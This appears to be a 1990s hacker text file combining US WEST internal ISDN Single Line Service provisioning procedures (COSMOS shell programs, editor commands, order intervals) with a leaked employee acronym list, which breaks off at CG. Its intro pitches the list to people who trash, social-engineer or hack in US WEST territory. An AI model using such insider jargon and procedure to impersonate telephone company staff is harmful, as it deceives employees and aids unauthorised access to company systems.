Service orders are issued as POTS (Plain Old Telephone Service) orders.
Customer premises must be loop qualified (no extender technology) to
qualify for Single Line Service. Customer premises must, also, be serviced
from a 5ESS switch or Optical Remote Module (ORM). Single Line Service will
not be provisioned between central offices.
Single Line Service carries the Class of Service (CS) of 13Q. If an ISDN
customer wants an ISDN application beyond the Single Line Service offering,
the customer can purchase ISDN on an ICB.
DUE DATE INTERVALS:
Single Line Service has a seven interval for nondesign. The seven day
begins once the facilities have been pre-looped qualified and Marketing
negotiates a due date (DD) with the customer. The seventh day is the DD.
A three day interval is given to the customer if:
- Adding a feature
- Adding a terminal to an established N2Q
- Moving a terminal to a different N2Q
The above applies for 10 lines or less. If a customer has more than 10 lines
going in, the Intervals will be on a ICB (Individual Case Basis) basis.
The Single Line Service order will carry ADSR N (Administrative Design
Service Review NO) a critical section with three Critical Date entries
when issued nondesign. This is not a CPC processed order. The Critical
dates for Single Line Service orders are required to ensure U S WEST
meets the customer DD.
* APP - Application Date - 1 day.
* SID - Service Issue Date - 1 day.
* LAM - Loop Assigned and Make Up. This is the date the LPC
must have the order assigned. If the LPC doesn't meet
this date, it will greatly affect the RCMAC, frames
and installation - 1 day.
* DVA - Designed Verified and Assigned. This is an RCMAC and
frame date - 2 days.
* PTD - Plant Test Date. This is the date for the installer -
1 day.
An example below shows how the intervals would appear on the service order
if the customers DD is 11-14.
ID DD 11-14
---CTL SID 11-08/LAM 11-04/DVA 11-11/PTD 11-12
STANDARD INTERFACES:
NI-2 does not refer to Point-to-Point or Multipoint interfaces. NI-2
Supports Standard Interfaces.
All Standard Interfaces support up to eight terminals per BRS. A BRS
supporting NI-1 allows a customer to have one device active on one BRS.
This one device may be capable of both circuit switched data and voice,
as well as packet switched data. Only one terminal may use a B Channel at
one time. The D Channel maybe used by eight packet switched data terminals
simultaneously.
PRIMARY DIRECTORY NUMBER (PDN):
The first or main Directory Number (DN) on a terminal is referred to as a
*Primary Directory Number* (PDN). Each logical terminal will have a primary
directory number associated with it. Only one terminal can have this number
as its primary DN.
Each terminal is assigned one PDN. Up to eight terminals, each with with one
PDN are allowed for the additional PDN's.
The USOC LNM1X is the PDN USOC. A PDN may have multiple call appearances.
A PDN can be shared with other terminals. When the PDN is shared, the MADN
FID is shown with the above USOC's.
SHARED DIRECTORY NUMBER:
Shared Directory Numbers allows several users to share one or more call
appearances for a particular directory number. All Shared Directory Numbers
must be provisioned from the same serving central office. The Shared
Directory Number USOC is D08.
COSMOS SYSTEM:
* RELATED FACILITY FILE:
The Related Facility capability in COSMOS associates the Single Line
Service terminal(s) to the Single Line Service DSL(s). The PL ID associated
with each terminal off of the DSL is identified as a Related Facility. The
RF file keeps track of the number of appearances of the PL and places a
unique identification against the Single Line Service DSL and each terminal.
The unique indentification is MULT APP (Multiple Appearance) and the number
of appearances of the PL (e.g. 2 terminals off of pipe = MULT APP 3; Pipe
PL ID counts as 1 appearance and the PL ID appears on 2 terminals for a
total of three appearances).
A new prefix ATR (attribute) associates the related circuits to the DSL.
The applicable FID's that are entered behind the prefix "ATR" are:
* CCF (Custom Calling Features)
* DSNA (Digital Services Network Assignment)
* FF (Interoffice Frame Facilities)
* GF (General Facility (e.g. SFG's ,etc.))
* KEY (Key Number)
* MADN (MADN Service)
* MLI (Multiple Line Appearance Indentifier)
* PL (Private Line)
* RK (Release Key)
* TN (Telephone Number)
* TEI (Telephone Equipment Indentification)
COSMOS "SHELL" PROGRAMS:
There are several Shell programs administered in COSMOS to accommodate
the establishment of the ISDN and ISDN like circuits in COSMOS. These
programs are accessed through a standalone terminal (A SYNC Terminal)
or a asynchronous terminal with dial up capabilities. Transaction RNS
allows the user in the SHELL programs. The shell programs are:
* ADD-PIPE
* ADD-TERM
* APPEND-PIPE
* D-POE-SEL
* ADD-PIPE is used to establish the ISDN pipe(s).
* ADD-TERM is used to establish the ISDN logical terminals.
* APPEND-PIPE is used to append to an existing service order.
* D-POE-SEL is used when changing the OE and POE for
maintenance reasons, and multiple hunts.
The Shell programs must be performed to establish these circuits in COSMOS.
These programs have the capabilities of load balancing the office, as well
as, automatically assigning the OE and POE. Establishing the Single Line
Service circuits outside of the Shell program will cause potential switch
and customer problems. USING TRANSACTION SOE IS NOT AN OPTION, except for
Single Line Service multiline hunt.
Transaction MAQ (Manual Assistance File Inquiry) in the delete mode must
be performed before establishing the, Single Line Service circuits in the
Shell programs ADD-PIPE, ADD-TERM or APPEND-PIPE. The MA tigger is set for
a COSMOS MA which generates a C1 RMA. All C1 RMA's are placed in the MAQ
file. If the Single Line Service order is not removed, the order will RUP
back each time the ADD-PIPE and ADD-TERM are established which generates
more paper to the downstream systems.
EDITING THE SHELL PROGRAMS:
The Shell programs ADD-PIPE, ADD-TERM and APPEND-PIPE can be edited
utilizing the existing TED file commands. When the Shell programs ask
the question "Is thos satisfactory? (answer yes (y), no (n) or edit (e),"
the user at that point would answer e for edit.
COSMOS places the user in the TED file (scratch pad) at this point. COSMOS
responds with 2 to 3 numerics (e.g. 104). This represents the number of
characters in the TED file. The user can print the file by entering 1,$n.
1,$P prints the file from the beginning of the file to the end of the file.
1,$n prints the file and numbers each line from the beginning of the file
to the end of the file.
The following operations may be performed when editing the TED file.
* Text is appended to the file with the 'A' command. (Change xxx for
yyy and print the lines.) Information is entered after the current
line into a buffer area exactly as typed. No limit on the number of
lines entered.
* Lines of the file are printed with the 'P' command.
- 1,$P - Prints the beginning of the file to the end of the file.
- 1,$n - Prints and numbers each line from beginning to the end.
- P - Prints the current line.
- C - Change Mode - Current line is changed.
- D - Delete Mode - Delete current line.
- I - Insert Mode - Text is inserted before the current line.
- S - Substitute Mode - On current line, "yyy" is substituted
for "xxx". Only the part of the line matching "xxx" will
be changed.
Example: s;xxx;yyy;P
* Updating the file is accomplished with the "W" command. The text is
stored by entering command "W" and line feed.
* The user exits the file from editing with the letter Q (quit).
NOTE: The user should always write (W) the file prior to entering the
quit (Q) command in order to save the changes made in the text
editor.
* Period (.) indicates end of input when performing the commands.
A (append), C (change), and/or I commands, a period (.) must be
entered before writing or quiting the file to indicate that is the
end of the input.
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Time for a Change
presents
USWest Acronym List
Brought to you by: Terminal
And USWest Communications
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Well, you might be thinking right now "Great, just what we need is another
acronym list" .. Well, let me assure you that this is not just ANOTHER
acronym list, this is *THE* acronym list... This acronym list is straight
from USWest, so you can be sure that all information is correct, either
that or USWest is very confused.
You may find that it is a bit USWest specific, or does not cover all of
the acronyms that maybe AT&T and other Long Distance providers use.. But
if you often trash, Social Engineer, or hack in USWest territory, you will
find the following information invaluable.
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Start of Document.
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ACRONYMS (UPDATED 05-26-94)
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Updates of Acronyms show two asterisks (**) after the acronym to
indicate an addition or change since 05-26-94. Deletes are NOT
noted in any way.
This guide has been designed to provide a functional Acronym directory
for U S WEST employees ONLY. It contains company names and numerical
and alphabetical listings of acronyms used within U S WEST and its
subsidiaries/affiliates.
The system allows you to search for a specific acronym or word
contained within an acronym definition. However, the acronym you are
searching for must be input exactly as listed in the system, e.g.,
1A EADAS must be input as 1A(space)EADAS. If you are unable to find
the requested acronym, search using the first character of the
acronym.
Some acronyms may have more than one meaning, e.g., CPS may mean
Customer Premises System or Corporate Policy Seminar or Characters
Per Second. In these cases, the acronym will have a numeric value
in parenthesis to indicate the number of definitions.
This guide will only be a good resource if the information is current.
We ask that you take personal responsibility for keeping it updated
by contacting (via E-Mail):
Acronym Administrator
U S WEST Business Resources, Inc.
USWEST(U25ACR)
Please include your name, work telephone number, and department name
(for U S WEST Communications) or company name (for unregulated
affiliate/subsidiary employees).
This guide will be updated as needed. When updates are made, the
date at the top will change to reflect the most current issue.
We cannot supply a copy of this report upon request.
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U S WEST COMPANY NAMES
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ATI U S WEST Advanced Technologies, Inc.
BCR U S WEST Bellcore Rotational Personnel
BRI U S WEST Business Resources, Inc.
CAP U S WEST Capital Corporation
CSI U S WEST Communications Services, Inc.
DIR U S WEST Direct
ESI U S WEST Enhanced Services, Inc.
FED U S WEST Federal Services, Inc.
FSI U S WEST Financial Services, Inc.
GCI Gulf Cellular, Inc.
IBDG USW International and Business Development Group
INT U S WEST International Holdings, Inc.
ITS Information Technologies Services
MHT Malheur Home Telephone Company
MIS Management Information Services
MRG U S WEST Marketing Resources Group
MRP U S WEST Marketing Resources Plus
NVG U S WEST NewVector Group, Inc.
NWB U S WEST Enterprises, Inc. (Northwestern Bell Phones)
RVI Residual Value Insurance Services Co., Ltd.
SEI Spectrum Enterprises International
TCR Telcor (A U S WEST joint venture)
TEL Telematics, Inc.
TWP TransWestern Publishing
UDG U S WEST Diversified Group
UEF U S WEST Education Foundation
UII U S WEST Investments, Inc.
UOP U S WEST Optical Publishing (Division of U S WEST
Systems, Inc.)
USF U S WEST, Inc. -- Federal Relations
USM U S WEST Strategic Marketing
USW U S WEST, Inc.
USWC U S WEST Communications, Inc.
USWI U S WEST International, Inc.
USWO U S WEST Overseas Operations, Inc.
VCI U S WEST Venture Capital, Inc.
WRI Western Range Insurance Co.
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10 HD Ten High Day
1A EADAS 1A Engineering and Administrative Data
Acquisition System
1B EADAS 1B Engineering and Administrative Data
Acquisition System
1AESS 1A Electronic Switching System (ATT)
4ASEES 4A Switching Equipment Engineering System
4ESEES 4E Switching Engineering System
5EDOPS 5 ESS Digital Office Planning System
5ESS (2) Digital Switching Equipment
Class 5 Electronic Switching System (ATT)
5XB-COER No 5 Crossbars -- Central Office Equipment Reports
5XBAR/COER 5 Crossbar Central Office Equipment Reports
725 Account 725 Distribution 725-02
Recurring Right to Use
800DA 800 Directory Assistance
9116 Customer Service Order Errors Format
960 NAS 960 Network Access Service
976 IDS Information Delivery Service
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ALPHABETICAL
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A & M Additions and Maintenence
A/D Analog to Digital
AA Administrative Area
AACATS Authorized Agent Compensation and Tracking Systems
AAP Affirmative Action Program
AAS Accounting Application Services
ABATS Automated Bit Access Test System
ABCAS Access Bypass and Customer Analysis System
ABCD Automotive Building Claims Development
ABD Average Business Day
ABEND Abnormal End of Job
ABS (2) Average Busy Season
Alternative Billing Service
ac alternating current
AC (2) Access Concentrator
Authorized Carrier
AC/ID Access Charge/Intra-lata Distribution
ACAS Access Charge Analysis System
ACAT Additional Cooperative Acceptance Testing
ACBS Agent Compensation Billing System
ACC Arizona Corporation Commission
ACC CHG Access Charge Analysis
ACCS Automated Calling Card Service
ACD (3) Automatic Call Distributor
Automatic Call Distributing System
Average Calendar Day
ACE Automated Cable Expertise
ACES ARIS CABS Entry System
ACH Applications Clearing House
ACI (2) Applied Communications, Inc.
Associated Company Interstate Services
ACIS Automatic Caller/Customer Identification System
ACK Affirmative Acknowledgement
ACM (2) Address Complete Message
Agent & Consultant Marketing
ACMC Access Capacity Management Center
ACMS Access Capacity Management System
ACNA Access Customer Name Abbreviation
ACO Administrative Control Center
ACP Automatic Circuit Provisioning
ACR Actual Cost Record
ACS Advanced Communications Service
ACT Automatic Circuit Testing
ACTGA Attendant Control of trunk Group Access
ACTL Access Customer Terminal Location (a.k.a. POI)
ACTRAK Apparatus Actuals Tracking System
ACTS (2) Automated Coin Telephone System
Automatic Coin Toll Service
ACU Automatic Calling Unit
AD (2) Assignment Date
Assignment Division
AD&D Accidental Death & Dismemberment
ADAPT A Data Parsing and Transformation System
ADBS Access Data Base System
ADC Application Development Center
ADD Aggregate Design Data
ADF Application Development Facility
ADIS Automatic Data Interchange System
ADL Additional Line
ADMIN Administration of 08 Data Systems
ADNC Address Name Code
ADNET Administrative Data Network
ADP Anticipated Disability Plan
ADPCM Adaptive Differential Pulse Code Modulation
ADR Adjustment Detail Report
ADS (2) Administration of Designed Services
Area Data Set
ADSR Administration of Designed Services Review
ADTS (3) Automatic Data Test System
Automated Data Test System
Automated Digital Transmission System
ADTS-ESA Automated Data Test System - Economic Study Aid
AE Account Executive
AEMIS Automatic Electronic Management Info System
AF Assembled Facility
AFADS Automatic Force Administration Data System
AFFIRMS3 Affirms3 Facility Management System
AFOR Alternative Form Of Regulation
AFP Advanced Function Printing
AFR Available for Reassignment
AFST Administrative Forcasting Statlib Test
AFUDC Allowance Funds Used During Construction
AHN Assigned House Number
AHP Application Handling Processor
AHT Average Holding Time
AI Artificial Intelligence
AIA Accounting Inventory Adjustment
AIC (3) Account Inquiry Center
Audiotex Information Center
Automatic Intercept Center
AIM (4) Advanced Information Markets
Automated Information Manager
Automated Information Management
Applications in Marketing
AIMS Application Information Management System
AIOD Automatic Identified Outward Dialing
AIR Action Item Report System
AIRS (2) Annual Inventory Reconciliation System
Account Inventory Reconcilement System
AIS (4) Automated Intercept System (Minicomputer Functions)
Advanced Information Systems
Answer Index Study
Average Investment per Station
ALAC (2) Accounting Location Access Code
Alternative Local Access Carrier
ALC Accounting Location Code
ALGOL Algorithmic Language
ALI Automatic Location ID
ALIT Automatic Line Installation Test
ALLOC Allocation
ALRU Automatic Line Record Update
ALS Advanced Leadership Seminar
ALT Assignable Line Table
ALTP Alternate Local Transport Provider
ALU Arithmetic and Logic Unit
AM (2) Account Manager
Amplitude Modulation
AMA (2) Automated Message Accounting
Automatic Message Accounting
AMA/DDD Automatic Message Accounting/Direct Distance Dialing
AMA/PTR Automatic Message Accounting/Paper Tape Report
AMAC Automatic Message Accounting Center
AMACC Automatic Message Accounting Control Center
AMACCS Automatic Message Accounting Control Center System
AMACS Automatic Message Accounting Collection System
AMAECS Automatic Message Accounting Error Correction System
AMANA Automatic Miscellaneous Account Number Assignment
AMARC (2) Automatic Message Accounting Recording Computer
Automated Message Accounting Recording Center
AMARC/BDT Automatic Message Accounting Recording Center/
Billing Data Transmitter
AMARC/BSR Auto Message Acctg Recording Center/Business Service
Results
AMARS Automatic Message Accounting Recording System
AMAS Ama Straddle
AMAT Automatic Message Accounting Transmitter
AMATCS Automated Message Accounting Telecom System
AMATPS Automated Message Accounting Teleprocess System
AMATT AMA Tape Tracking
AMC Area Management Council
AMC/EMC Area Exchange Management Councils
AMCEE Association for Media Based Continuing Education
for Engineer
AMD Assignment Modify Data
AMEX American Express
AMI Alternate Mark Inversion
AMIS Access Management Information System
AMIS-E Accounts Master Inquiry System-Enhanced
AML Actual Measured Loss
AMMS Advanced Materials Management System
AMPS Advanced Mobile Phone Service
AMR Automatic Message Recording Equipment
AMS Access Method Services
ANA Assigned Night Answer
ANALIT Analysis of Automatic Line Insulation Test
ANC (2) Automatic Network Configuration
All Number Calling
ANCOF Annual Cost Factors
ANI Automatic Number Identification
ANI/OE Automatic Number Identification/Order Entry --
product -- USW provides for cable companies
(pay per view)
ANM ANswer Message
ANR Assignment Not Required
ANSI American National Standards Institute
AO (2) Automotive Operations
Audio Options - the umbrella name for all audio
products
AOC Average Original Cost
AOCC Automotive Operations Control Center
AOP Authorized Ordering Person
AOS (2) Automated Office Systems
Alternative Operator Services
AOSC Automotive Operations Support Center
AOSP Alternate Operator Service Provider
AOSS Advanced Office System Study
AOTT Automatic Outgoing Trunk Test
AP Audio Program
APACS Address Purification and Conversion System
APARS Automatic Payment and Recording System
APG Automatic Priority Group
APG/OP Accounting Procedures Guide/Office Practice
APL Algebraic Programming Language
APMS Air Pressure Monitoring System
APOP Alternate Point Of Presence
APOSS Auxiliary Processor Operational Support System
APP (2) Accident Prevention Plan
Applicaton Date
APS (2) Advanced Paging Services
Automatic Protection Switching
Mechanized
APTS Audit Program Tracking System
AQCB Automated Quote Contract Billing - replaced APTOS
AR Automatic Routing
Assignment Request
ARADCOM Army Air Defense Command
AREG Apparatus Repair-Strategy Evaluation Guidelines
ARIS Access Request Information System
ARO Administration Reporting Office
AROR Authorized Rate of Return
ARPM Average Revenue per Message
ARR Assignment Request Response
ARS (2) Audio Response System
Automatic Route Selection
ARST Automated Repair Service Bureau
ARSB-2 Automated Repair Service Bureau
ARST-2/GROWTH Automated Repair Service Bureau/Growth
ARSBERG Automated Repair Service Bureau Error Reconciliation
Group
ARSS Access Retrieval Support System
ARTS Automated Trouble Reporting System
ARU Audio Response Unit
ARV Asset Record Verification
ARX Accounting Receiving Executive System
AS Application System
ASAP Automated Survey Analysis Package
ASC/BUSINESS Account Service Center-Business
ASC/RES Account Service Center-Residence
ASCCS Automatic Switching Control Center System
ASCIC Access Service Customer Identification Charge
ASCII American Standard Code for Information Interchange
ASCS Alarm Scanning and Control System (Scan-Alert)
ASD Administrative Services Department
ASG (2) Application Services Group
Access Service Group
ASH Abnormally Short Holding Time
ASIS (2) Automated Sales Implementation and Support
Automated Sales Implementation System
ASM Auxiliary Storage Manager
ASO Assigned Service Order
ASPTS Auditing and Security Project Tracking System
ASR (3) Accounting Service Register
Automatic Send-Receive Teletypewriter
Access Service Request
AT (3) Access Tandum
Advanced Technologies
Assist Test
AT&T American Telephone and Telegraph
ATA Automatic Trouble Analysis System
ATB All Trunks Busy
ATD Address Telephone Directory
ATEMIS Alston Traffic, Engineering and Mgmt Info System
ATEP Advanced Technical Education Program
ATI U S WEST Advanced Technologies Division
ATM (2) APTOS Tariff Mechanism
Asynchronous Transfer Mode
ATMS Automatic Transmission Measurement Systems
ATR Alternate Traffic Routing
ATRS (2) Automatic Trouble Reporting System
Automated Trouble Reporting System
ATS Asset Transfer Process
ATSS AMARC Tape Security System
ATT/C (2) American Telephone and Telegraph/Communications
AT&T Communications
ATT/IS AT&T Information Systems
ATTC Automatic Transmission Test and Control Circuit
ATTC/CIDS AT&T Communications Customer Information
Distribution S
ATTCOM AT&T Communications
AUL Annual Under-utilization Liability
AUTODIN Automatic Digital Network
AUTOVON Automatic Voice Network
AUTRAX Automatic Traffic Recording and Analysis Complex
AV Audio Visual
AVCSR Average Customer Bill (Deposits)
AVD Alternate Voice-Data
AVIL Audio Visual Instruction Library
AVO Advance Order
AWT (2) Actual Work Time
Average Work Time
AX Auxiliary Transaction
AZ Arizona
B82S Bipolar with Eight Zero Substitution
B/CL Business/Consumer List
B&C Billing and Collections
Billing and Collection Services
BAC Billing and Collection
BACAS Bargaining and Contract Administration System
BAMS Building Administration Management System
BAN Billing Account Number
BANCS Bell Administrative Network Communications System
BAND Bandwidth
BARF Basic Automatic Regression Test Failure Report
BARS Billing Administration Records System
BART Billing and Receivable Tracking
BASIB Bell Administration Services for Intra-Co Billing
BASIC Beginners All Purpose Symbolic Instruction Code
BATS Bits Access Test System
BAU Business As Usual
BC List Business and Consumer Listings
BCC Block Check Character
BCD Binary Coded Decimal
BCF Billion Conductor Feet
BCMP Bulk Screen Compare Function
BCP Bell Company Practice
BCR (2) Billing, Collecting, and Remitting
Bell Communications Research
BCR TUF Bellcore Translator of USOC and FIDS
BCS 2001 Billing Verification System
BCSC (2) Bell Customer Service Centers
Business Customer Service Center
BCTM BOSS-CRIS Table Mechanization
BDAC Business Dispatch Administration Center
BDAM Basic Direct Access Method
BDC (2) Building Distribution Cable
Bell Distribution Center
BDT Billing Data Transmitter
BEC Bell Exchange Carrier
BEMARR Building Energy Management Redesign Retrofit
BER Bit Error Rate
BERPM Basic Exchange Rate Planning Model
BERT Below Ground Electronics Remote Terminal
BESMIS Basic Exchange Service Management Information System
BHDR Busy Hour Determination Report
BHDS Busy Hour Determination Study
BHMC Busy Hour Minutes of Capacity
BIC (2) Building Industry Consultant
Benefits Information Center
BICS (2) Building Industry Consult Services
Business Information Control System
BIN Bell Information Network
BIO Bureau Initiated Orders
BIP (2) Border Interconnection Point
Billed (Independent) Percentage
BIR Bell Independent Relations
BIRC Business Installation and Repair Center
BIS (3) Business Information Systems
Business Information Services
Business Information System Agreement
BIS/NS Business Information System/Number System
BISAM Basic Indexed Sequential Access Method
BISCOM Business Information Systems Communications System
BISCUS Business Information Systems Customer Service
BISCUS/FACS Business Information System-Customer Services/
Facilities Assignment and Control System
BISDN Broadband ISDN
BISNS Business Information System-Number Services
BISP Business Information Systems Programs
BISSDP Business Information System-Systems Development
Practices
BISYNC Binary Synchronus Protocol
BIT Binary Digit
BITS Business Interim Tracking System
BL Bridge Lifter
BLI Busy Line Interrupt
BLIS Bell Legal Information System
BLV Busy Line Verification
BME Basic Medical Expense Plan
BMF Billing Master File
BMIS Business Marketing Information System
BMOSS Building Maintenance Operations Support System
Building Maintenance Operations Services System
BMP Batch Message Processing
BMTIS Bell Mechanized Training Information System
BNA Billing Name and Address
BNS Billed Number Screening
BO Business Office
BOC (2) Business Opportunities Council
Bell Operating Company
BOC/WIS Bell Operating Company/WATS Information System
BOCAP (2) See TOMAS
Business Office Cost Analysis Plan
BOCC Building Operations Control Center
BOCCS BOC Compensation System
BOCS Bell Operating Companies
BOE Base Operating Environment
BOFADS Business Office Force Administration System
See TELECALC
BOMAC Batch and On-Line Master Catalog Update
BOR Basic Output Reports
BOS Bell Operating System
BOSS (2) Business Office Support System
Billing and Order Support System
BPAM Basic Partitioned Access Method
Bits Per Inch
BPN Billing Port Number
BPOC Bell Point of Contact
BPP Billed Party Preference
bps Bits Per Second
BPSS Bell Packet Switching Service
BR Business Relations
BR/BPOC Business Relations/Bell Point of Contact
BRA Basic Rate Access
BRAT Business Residence Account Tracking
BRE Bell Regulated Entity (Pre-Divestiture Terminology)
BRI (2) U S WEST Business Resources, Inc.
Basic Rate Interface
BRIS (3) Billed Business Revenue Information System
Billing Revenue Information System
Billed Revenue Information System
BRL/CCM Buy/Rent/Lease Copier Configuration Model
BRL/RMP Buy/Rent/Lease for RMP Costs
BRMIS (2) Billed Revenue Management Information System
Billed Revenue Marketing Information System
BRRP Bypass Revenue at Risk Program
BRS Business Radio System
BRSC Business Retail Sales Center
BRW Billing Review Workbench
BSAM Basic Sequential Access Method
BSC (3) Business Sales Center
Binary Synchronus Protocol
Business Service Center
BSCC Business Service Control Center
BSCL Bell System Common Language
BSCMT Business Service Center Maritz Tapes
BSCSR Business Service Center Sales Report
BSCSR/EBO Business Service Center Sales Report/Embedded Base
Organization
BSCTE Bell System Center for Technical Education
BSE Basic Service Element
BSFAP Business Services Facilities Administrative Practice
BSFEP Business Services Facilities Engineering Practice
BSIRC Basic Services Installation/Repair Center
BSMCC Basic Services Maintenance Control Center
BSMP Billing Service Measurement Plan
BSMVT Billing Service Measurement System
BSP Bell System Practice
BSSP Bell System Savings Plan
BTAM Basic Telecommunications Access Method
BTC BANCS Terminal Concentrator
BTIS Business Toll Information System
BTL Basic Termination Liability
BTN Billing Telephone Number
BTS (3) Batch Terminal Simulator
Bell Tri-Co Services
Business Tracking System
BUDDEV Budget Development
BUDGET ISS Budget System
BUGS Business Usage Gathering System (WA and OR only)
BUILDTRK Building Cost Information System
BUS System of Electrical Lines Inside the Computer
BVA (2) Billing Validation Application
Billing Validation Administration
BVAPP Billing Verification and Authorization for
Payment Process
BVM(r) Billing Validation Services
BVS Billing Validation Services
BY Busy
C Programming Language Used in Unix
C,I&M Construction, Installation & Maintenance
C/N Carrier to Noise
C1 Use TIRKS-C1
C1/CDS Use TIRKS-C1/CDS
C1/DAC Use TIRKS-C1/DAC
C1/DIST TIRKS-Circuit Layout Distribution Module
C1/INV Use TIRKS-C1/INV
C1/MDS Use TIRKS-C1/MDS
C1/PREP TIRKS-Circuit Layout Preparation Module
C1/REF Use TIRKS-C1/REF
C1/TAS Use TIRKS-C1/TAS
CA (3) Connecting Arrangement
Change Accumulation
Control Area
CA&T Carrier Access and Transport
CABS (2) Carrier Access Billing System
Customer Access Billing System
CAC (3) Circuit Administration Center
Circuit Access Code
Contract Administration Center
CACS Customer Administration Center System
CAD (4) Computer Aided Design
Computer Assisted Design
Computer Aided Drafting
Connect Aerial Drop
CADE Computer Assisted Data Entry
CADV Circuit (Switched Digital Capbility) Alternate
Data Voice
CAE Computer Aided Engineering
CAE/IFS Computer Aided Engineering/Interoffice Facility System
CAE/MEMS Computer Aided Engineering/Mechanized Engineering
Management System
CAE/MTPS Computer Aided Engineering/Messenger Trunk Planning
System
CAE/RICS Computer Aided Engineering/Reuse Inventory Control
System
CAE/SPOS Computer Aided Engineering/Switched Plan and Order
System
CAFE Core Analytic Front End
CAGRP Change Accumulation Group
CAI Computer Assisted Instructions
CAL Command-A-Link
CALC Customer Access Line Charge
CAMA Centralized Automatic Message Accounting
CAMI Core Analytic Model Interface
CAMIS Construction Activities Management Information System
CAMIS J/S CAMIS Job Scheduler
CAMISOL Construction Activity Mgmt System Online
CAMP Cost Analysis Measurement Plan
CAMRAS Computer Assisted Mapping and Record Activities System
CAMS Customer Appointment Management System
CAN Customer Access Network
CAP (2) Corporate Accounting Process
Customer Administration Panel
CAP/COM Corporate Accounting Process/Cost Distribution
Module
CAPCOST Capital Cost Model Switched Network Cost Analysis
Models
CAPMAN Capacity Management System
CAPP Computer Assisted Printing and Publishing
CAPR Cable Pair Summary Program
CAPRI Computer Assisted Purchasing, Receiving and
Invoicing
CAPS (3) Cable Analysis and Provisioning System
Corporate Accounting Process System
Customer Analytic Profile System
CAR (2) Computer Assisted Retrieval
Controlled Assignment Request
CARACC Carrier Access
CARE (2) Customer Account Record Exchange
Computer Administration Report and Evaluation
CARL (2) Computerized Administrative Route Layouts
Customer Account Records Lookup
CAROT Centralized Automatic Reporting On Trunks
CAROT2 Centralized Automatic Reporting On Trunks-2
CARS (2) Customer Account Retrieval System
Computerized Automotive Replacement Scheduling
CAS (5) Cost Accountability System
Carrier Alarm Scanner
Centralized Attendant Service
Compensation Analysis System
Corporate Accountability System
CASE Computer Aided Software Engineering
CASH Customer Payments Entry Sub-System
CASHFLO Commercial Paper Module of Cashflo System
CASS Computer Aided Switched Services
CASSIS Carrier Access Service Split Information System
CAT Use CA&T
CAT/MIS Carrier Access and Transport/Mgmt Information System
CATI Computer-Assisted Telephone Interviews
CATLAS Centralized Automatic Trouble Locating and Analysis
System
CATLG Equipment Reference Catalog
CATMIS Carrier Access Tracking Marketing System
CATO Contract Administration and Training Organization
CATS Customer Attitude Trends Survey
CATS/DB Computer Assisted Technical Support/Data
CATV (2) Cable TV
/Community Antenna TV
CAU Customer Access Unit
CAW Computer Assisted Writing
CBAC Construction Budget Administration Center
CB Channel Bank
CBC Can't Be Called
CBD Connected Buried Drop
CBDB Construction Budget Data Base
CBIC Customer Billing Inquiry Center
CBICC Carrier Billing Inquiry and Collection Center
CBIS Computer Based Information System
CBL Consumer Business Lists
CBOG CRIS Billing Output Group
CBR Customer Billing Record
CBS (2) Common Billing System
Customer Billing System
CBS&A Construction Budget Summary & Analysis
CBSA Use CBS&A
CBSC Complex Business Service Center
CBT Computer Based Training
CBTT Computer Based Training Trial
CBX Computerized Branch Exchange
CC (2) Consultant Connection
Control Center
CCA Common Carrier Access
CCBIP Carrier Custom Billing Products
CCC (5) Career Continuation Centers
Central Circuit Control (CIMAP/CC)
Clear Channel Capability
Communications Consulting Center
Corporate Cost Centers
CCD Cross Connect Device (or XCD)
CCF (2) Corporate Computer Facility
Custom Call Feature
CCH Cost Per Circuit Hour
CCI (2) Corporate Communications, Inc.
U S WEST Corporate Communications, Inc.
CCIS Common Channel Interoffice Signaling
CCIS/SO Common Channel Interoffice Signaling/Signaling Office
CCITT Consultative Committee on International Telephone and
Telegraph
CCL Carrier Common Line
CCM CORD Change MEMO
CCN Corporate Communications Network
CCNA Customer Carrier Name Abbreviation
CCNS Customer Controlled Network Service
CCO (2) Circuit Control Office
Can't Call Out
CCOS-TRIPS Corporate Communications Office System-Tracking
CCP (3) Career Change Plan (Mgmt)
Circuit Conversion Package
Customer Convenience Products
CCPIC (2) Customer Changeable Primary Interexchange Carrier
Customer Controlled Pre-Designated Inter LATA Carrier
CCR (2) CRIS Change Request (CRIS-AP)
Customer Controlled Reconfigurability
CCRA Consumer Communications Reform Act (1976)
CCRS Centrex Customer Rearrange System
CCS (4) Carrier Conversion System
Common Channel Signaling
Custom Calling Service
Hundred Call-Seconds
CCS/MS Centrum Calls Seconds/Main Station
CCS7 Common Channeling Signaling (System) 7
CCSA Common Control Switching Arrangement
CCSA-DF Common Control Switching Arrangement with Added
Data Features
CCSAC Common Channel Signaling Access Service
CCSC Corporate Communications Service Center
CCSR Customer Controlled Station Restriction
CCSS Common Channel Signaling System
CCSTT Custom Calling and Touch Tone Modeling
CCTAC Computer Communications Trouble Analysis Center
CCTV Closed Circuit Television
CCU Central Control Unit
CCUAP Computerized Cable Upkeep Administration Program
CCUAP II Computerized Cable Upkeep and Admin Program II
CD (5) Call Distribution
Change Date
Circuit Details
Complete Disconnect
Circuit Data
CDA (2) Call Data Accumulator
Circuit Distribution Analysis
CDAC/SS Combined Dispatch Admin Center/Support System
CDAR (2) Customer Dialed Account Recording
Customer Data and Recording
CDB Customer Data Base
CDC (3) Call Direction Code
Central Distribution Center
Corporate Data Communications
CDES Customer Data Enhanced Service
CDF Customer Directory File
CDLR (2) Confirming Design Layout Record
Confirming Design Layout Report
CDLRD (2) Confirming Design Layout Record Date
Confirming Design Layout Record Due
CDM (2) Cost Distribution Module
Critical Dates Missed
CDO Community Dial Office
CDP (3) Centralized Data Processing
Cost Distribution Process
Career Development Program
CDR Customer Digit Receiver
CDS (3) Circuit Design System
Centralized Distribution System
Customer Definition System
CDT (2) Communications Display Terminal
Call Data Transmitter
CDWS Civil Defense Warning System
CE Controlled Environment Value
CEA Centralized Equal Access
CEC (2) Change Effort Council
Cellular Exchange Carrier
CECO Civil Enforcement Consent Order
CEDARS Computer Evaluation of Decision Analysis
CEI Comparably Efficient Interconnection
CEL Community Events Line
CEM Construction Equipment Management
CENTREX Centralized Exchange for Business Customer Services
CENTREX/CENTRON Centralized Exchange for Business Customer Services
CENTS Centralized Tool Service Center System
CEO Chief Executive Officer
CEO/EAEO Conforming End Office/Equal Access End Office
CERS Call Evaluation Reporting System
CES Circuit Equipment Studies
CEU Current Estimated Usage
CFA (2) CABS Fluctuation Analysis
Controlled Facility Addition
CFC (2) Corporate Finance Committee
Cost Function Code
CFM Controlled Facility Modification
CFMP Construction Force Management Plan
CFMS Construction Force Management System
CFO Corporate Financial Operations
CG Class Group
